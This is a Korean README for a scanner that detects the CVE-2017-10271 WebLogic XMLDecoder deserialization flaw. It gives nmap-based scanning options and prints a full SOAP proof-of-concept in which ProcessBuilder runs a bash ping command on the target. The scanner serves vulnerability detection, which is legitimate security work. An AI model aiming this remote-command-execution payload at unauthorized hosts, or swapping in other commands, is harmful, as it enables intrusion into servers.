
CVE-2017-10271과 유사한 취약점을 대상으로 하는 Java 역직렬화 취약점 스캐너
CVE-2017-10271과 같은 취약점을 대상으로 하는 Java 역직렬화 취약점 스캐너입니다. 이 프로젝트에는 하나의 PoC만 포함되어 있으며, 나머지는 아직 정리되지 않았습니다.
nmap 설치
https://nmap.org/download.html 운영 체제에 따라 다른 버전을 다운로드하여 설치합니다.
타사 패키지 설치
pip install -r requirements.txt
스캔
PoC를 수정하여 ping 명령어의 IP 주소를 자신의 IP 주소로 변경합니다.
25번째 줄의 sniff 코드 수정
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IP 주소 [옵션] java_scan.py -h 도움말 보기
사용 전 반드시 PoC를 수정하여 ping 명령어의 IP 주소를 자신의 IP 주소로 변경하십시오.
PoC는 Windows와 Linux에 각각 적합한 두 개의 JSON 형식 파일입니다. (현재 PoC 경로 지정 기능은 포함되지 않았으며, 이후 버전에서 추가될 예정입니다.) 반드시 프로그램 디렉터리에 poc.json 및 poc_win.json 이름으로 PoC를 저장해야 합니다.
PoC 형식에 대한 설명 (Linux 버전, Windows 버전도 유사함)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url은 취약점을 이용할 디렉터리를 지정하고, header는 POST 패킷에 추가할 헤더 내용을 지정하며, data는 보낼 직렬화 내용입니다.
참고: 이 PoC는 취약한 호스트가 2개의 ping 패킷을 반환하도록 해야 합니다. 프로그램이 ICMP 패킷을 감지했을 때만 취약점이 존재한다고 판단합니다.
기본적으로 프로그램은 nmap을 호출하여 LAN을 스캔합니다.
java_scan.py -i 192.168.0.1
이 명령은 192.168.0.1 호스트의 7001번 포트를 스캔합니다.
단일 IP와 포트 지정
java_scan.py -i 192.168.0.1 -p 7001
여러 IP와 여러 포트 지정
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
IP 범위와 포트 범위 지정
java_scan.py -i 192.168.0.1-255 -p 7000-8000
-f 매개변수를 사용하면 socket을 호출하여 포트를 빠르게 탐지합니다.
java_scan.py -i 192.168.0.1-255 -p 7001 -f
빠른 포트 탐지의 스레드 수 지정
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
